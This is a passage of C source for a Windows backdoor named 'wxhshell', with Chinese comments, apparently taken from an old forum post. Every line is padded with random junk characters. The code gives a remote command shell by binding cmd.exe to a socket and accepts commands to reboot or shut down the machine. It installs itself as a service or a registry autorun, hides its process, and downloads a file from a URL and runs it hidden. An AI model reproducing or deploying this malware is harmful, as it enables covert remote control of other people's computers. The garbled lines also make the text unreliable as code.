  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); edhNQWn  
  } +MPM^m  
  else { Ed9ynJ~)X  
W HO;;j  
    switch(cmd[0]) { }l&Uh &B`  
  Vh^fbv`?  
  // 帮助 yfeX=h  
  case '?': { )n 1b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ddde, WJA  
    break; Z<ozANbk  
  } oK&LYlU  
  // 安装 j <>|Hi #`  
  case 'i': { ^,')1r,  
    if(Install()) 24"Trg\WK[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tLe!_p)  
    else Q=J"#EFs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f7 V36Q8  
    break; 8;;!2>N  
    } uZ( I|N$  
  // 卸载 L+Yn}"gIs  
  case 'r': { R*IO%9O  
    if(Uninstall()) Qj~m;F!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mdvooJ  
    else LziEF-_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;T~]|#T\6  
    break; |cStN[97%  
    } }$3eRu +  
  // 显示 wxhshell 所在路径 K^`3Bg  
  case 'p': { j?%^N\9  
    char svExeFile[MAX_PATH]; C4],7"Sw  
    strcpy(svExeFile,"\n\r"); BL<.u  
      strcat(svExeFile,ExeFile); Pcut#8?  
        send(wsh,svExeFile,strlen(svExeFile),0); <y=VDb/  
    break; `,d*>  
    } r(iT&uz  
  // 重启 aYr?J Ol  
  case 'b': { 02:]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A,i.1U"w8  
    if(Boot(REBOOT)) e>~g!S}G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b{<qt})  
    else { q}>1Rr|U`  
    closesocket(wsh); ?D-1xnxep  
    ExitThread(0); ,~8:^*0s  
    } !/+ZKx("9  
    break; o9ZHa  
    } ES!$JWK|  
  // 关机 / PG+ s6  
  case 'd': { Mg;%];2Nt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $Z6g/bD`E  
    if(Boot(SHUTDOWN)) mZ 39 s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dt(~)*~R  
    else { ia 1Sf3  
    closesocket(wsh); lY/{X]T.(  
    ExitThread(0); 0xrr9X<  
    } QQUeY2}  
    break; tAFKq>\  
    } )&]gX  
  // 获取shell ,/AwR?m  
  case 's': { gRv5l3k  
    CmdShell(wsh); SLp &_S@4  
    closesocket(wsh); P'f =r%  
    ExitThread(0); m7wD#?lm  
    break; {'VP_ZS1v  
  } r(xh5{^x  
  // 退出 O6Bs!0,  
  case 'x': { )o)<5Iqh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }&D~P>1  
    CloseIt(wsh); h\\fb[``  
    break; OJiW@Z_\  
    } RY'f%c  
  // 离开 _@9[c9bO  
  case 'q': { kcKcIn{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xF: O6KL  
    closesocket(wsh); &<6E*qM  
    WSACleanup(); *,<A[XP  
    exit(1); vdw5T&Q{{C  
    break; z<aBGG  
        } D/)wg$MI  
  } l+!!S"=8)~  
  } KBJw7rra  
pSp/Qpb-B  
  // 提示信息 [P.M>"c\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j#QJ5(#  
} k#Qav1_  
  } [xzgk [>5  
!.1oW(  
  return; ^Pl(V@  
} c} )U:?6  
#\s*>Z  
// shell模块句柄 .[&0FHnJ5  
int CmdShell(SOCKET sock) ap=m5h27  
{ 2 Ya)I k{  
STARTUPINFO si; MuXp*s3[  
ZeroMemory(&si,sizeof(si)); O O?e8OU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FsQeyh>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,5oe8\uz  
PROCESS_INFORMATION ProcessInfo; "1 O!Ck_n  
char cmdline[]="cmd"; {$D[l hj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cbu/7z   
  return 0; !>QS746S@  
} &_Kb;UVRj  
j6v|D>I  
// 自身启动模式 -!MrG68  
int StartFromService(void) FjRt'  
{ xi['knUi2-  
typedef struct J1OZG6|e  
{ G8=2=/ !  
  DWORD ExitStatus; ^mxOQc !  
  DWORD PebBaseAddress; ZoX24C'  
  DWORD AffinityMask; m>yb}+  
  DWORD BasePriority; S3#NGBZ/  
  ULONG UniqueProcessId; B1<:nl  
  ULONG InheritedFromUniqueProcessId; D.d(D:  
}   PROCESS_BASIC_INFORMATION; ZrY #B8  
p}q27<O*/  
PROCNTQSIP NtQueryInformationProcess; n@5Sp2p  
8K+(CS>xvO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |dIP &9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qn= 3b:S-  
7P1G^)  
  HANDLE             hProcess; a&:1W83  
  PROCESS_BASIC_INFORMATION pbi; ;pe1tp  
H$'|hUwds%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U\aP  
  if(NULL == hInst ) return 0; =k.:XblEe[  
EdGA#i3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,fWQSc\}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;W%nBdE6|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <0lXJqd  
aAM!;3j]B`  
  if (!NtQueryInformationProcess) return 0; F6>K FU8  
:5)Dn87  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vHR-mQUs  
  if(!hProcess) return 0; VB>KT(n-b  
Q{%2Npvq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dRw O t  
@z $,KUH  
  CloseHandle(hProcess); GX2aV6}  
48%-lkol)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WgHl. :R  
if(hProcess==NULL) return 0; m$N` Xj  
wq yw#)S  
HMODULE hMod; @ig'CF%(  
char procName[255]; x_za R}WI  
unsigned long cbNeeded; rJLn=|uR  
3V=(P.ATm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aq~>$CHa  
-s~6FrKy  
  CloseHandle(hProcess); y?=W  
$ti*I;)h4  
if(strstr(procName,"services")) return 1; // 以服务启动 U'(Exr[  
L{`S^'P<  
  return 0; // 注册表启动 K:!){a[  
} Xge]3Ub  
=BD}+(3  
// 主模块 0$=Uhi  
int StartWxhshell(LPSTR lpCmdLine) ?O(@BT  
{ BR&T,x/d  
  SOCKET wsl; ]5(T{  
BOOL val=TRUE; 'I$-h<W  
  int port=0; 8: #\g  
  struct sockaddr_in door; pe^hOzVv  
(EW<Ggi  
  if(wscfg.ws_autoins) Install(); 5>9KW7^L  
[3$L}m  
port=atoi(lpCmdLine); HCBZ*Z-  
FHztF$Z  
if(port<=0) port=wscfg.ws_port; $db]b  
1D2Uomd(  
  WSADATA data; $;O-1# ]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #h,7dz.d  
eAqSY s!1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E} Ir<\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X;2I' Kg  
  door.sin_family = AF_INET; Za,MzKd=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [tN^)c`s/  
  door.sin_port = htons(port); 0!4;."S  
G.j  R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S8=Am7D]1  
closesocket(wsl); $ghAC  
return 1; m(2(Caz{  
} 6d4e~F  
 Om%HrT  
  if(listen(wsl,2) == INVALID_SOCKET) { 9NUft8QB  
closesocket(wsl); 2bJqZ,@  
return 1; Lj]I7ICNh  
} .&z/p3 1  
  Wxhshell(wsl); 4)]w"z0Pc  
  WSACleanup(); T >pz/7gb  
(I<]@7>  
return 0; f/1soGA  
z-9@K<`H  
} v %?y5w  
,/m@<NyK  
// 以NT服务方式启动 3K{XT),  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A%Ov.~&\G  
{ O &/9wi>!q  
DWORD   status = 0; r'TxYM-R  
  DWORD   specificError = 0xfffffff; Z)V m,ng  
yQP!Vt^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aJ!(c}N~97  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xXa* d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S7|6dwQ&  
  serviceStatus.dwWin32ExitCode     = 0; J A=9EnTU  
  serviceStatus.dwServiceSpecificExitCode = 0; #sHA!@ |  
  serviceStatus.dwCheckPoint       = 0; m7~<z>5$  
  serviceStatus.dwWaitHint       = 0; 0LX"<~3j  
|)%]MK$;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /6?A#%hc  
  if (hServiceStatusHandle==0) return; 4[\$3t.L  
/ 7i>0J]  
status = GetLastError(); q,e{t#t  
  if (status!=NO_ERROR) n jfh4}g:  
{ /mdPYV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jCJbmEfo9@  
    serviceStatus.dwCheckPoint       = 0; <5 Ye')+  
    serviceStatus.dwWaitHint       = 0; B~%'YQk  
    serviceStatus.dwWin32ExitCode     = status; O?p8Gjf  
    serviceStatus.dwServiceSpecificExitCode = specificError; g&79?h4UXQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); th!$R  
    return; ,5Vc  
  } >rbHpLm1`  
fPW|)e"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~RdD6V  
  serviceStatus.dwCheckPoint       = 0; '7'*+sgi$  
  serviceStatus.dwWaitHint       = 0; Mx-? &  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fG *1A\t]  
} P4\{be>e  
G<F+/Oi&DX  
// 处理NT服务事件,比如:启动、停止 >M}\_c=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gky e  
{ EnM }H9A  
switch(fdwControl) |*G$ilu  
{ dz3KBiq  
case SERVICE_CONTROL_STOP: ?MW *`U  
  serviceStatus.dwWin32ExitCode = 0; 0XkLWl|k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S]Y3nI  
  serviceStatus.dwCheckPoint   = 0; asT/hsSNS  
  serviceStatus.dwWaitHint     = 0; {2A| F{7>  
  { zRO-oOJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A-=B#UF  
  } `.MY" g9  
  return; /mi9 q  
case SERVICE_CONTROL_PAUSE: \2UtT@3|C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r>>4)<C7J  
  break; @&I7z,  
case SERVICE_CONTROL_CONTINUE: 0Q>yv;M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @ij8AGE:  
  break; oVD)Fb%[i9  
case SERVICE_CONTROL_INTERROGATE: sIVVF#0}]  
  break; Q140b;Z  
}; z~O#0Q !  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v?s]up @@h  
} t K $r_*  
N5ph70#y3  
// 标准应用程序主函数 U-U^N7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "7> o"FQ  
{ NmH1*w<A  
g6s&nH`Z2  
// 获取操作系统版本 @Cnn8Y&'  
OsIsNt=GetOsVer(); {OH @z!+d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b I%Sq+"}  
pBZf=!+E  
  // 从命令行安装 nV[0O8p2Md  
  if(strpbrk(lpCmdLine,"iI")) Install(); : ~R Y  
{6y@;Fd  
  // 下载执行文件 nnzfKn:J  
if(wscfg.ws_downexe) { >5O#_?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #hKaH -j  
  WinExec(wscfg.ws_filenam,SW_HIDE); B-R& v8F  
} [Iwb7a0p  
B4&K2;fg_  
if(!OsIsNt) { xr;:gz!h  
// 如果时win9x,隐藏进程并且设置为注册表启动 ""Ub^:ucD  
HideProc(); 8C[W;&Y=  
StartWxhshell(lpCmdLine); &N+,{7.  
} ?k|}\l[X1  
else D2,2Yy5 y  
  if(StartFromService()) NcuZw?  
  // 以服务方式启动 #mK/xbW  
  StartServiceCtrlDispatcher(DispatchTable); ,qj1"e  
else n#US4&uT4A  
  // 普通方式启动 3 L:s5  
  StartWxhshell(lpCmdLine); ~.:9~(2;  
We8n20wf<  
return 0; u|.c?fW'3  
}
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只看该作者 1 发表于: 2006-10-10
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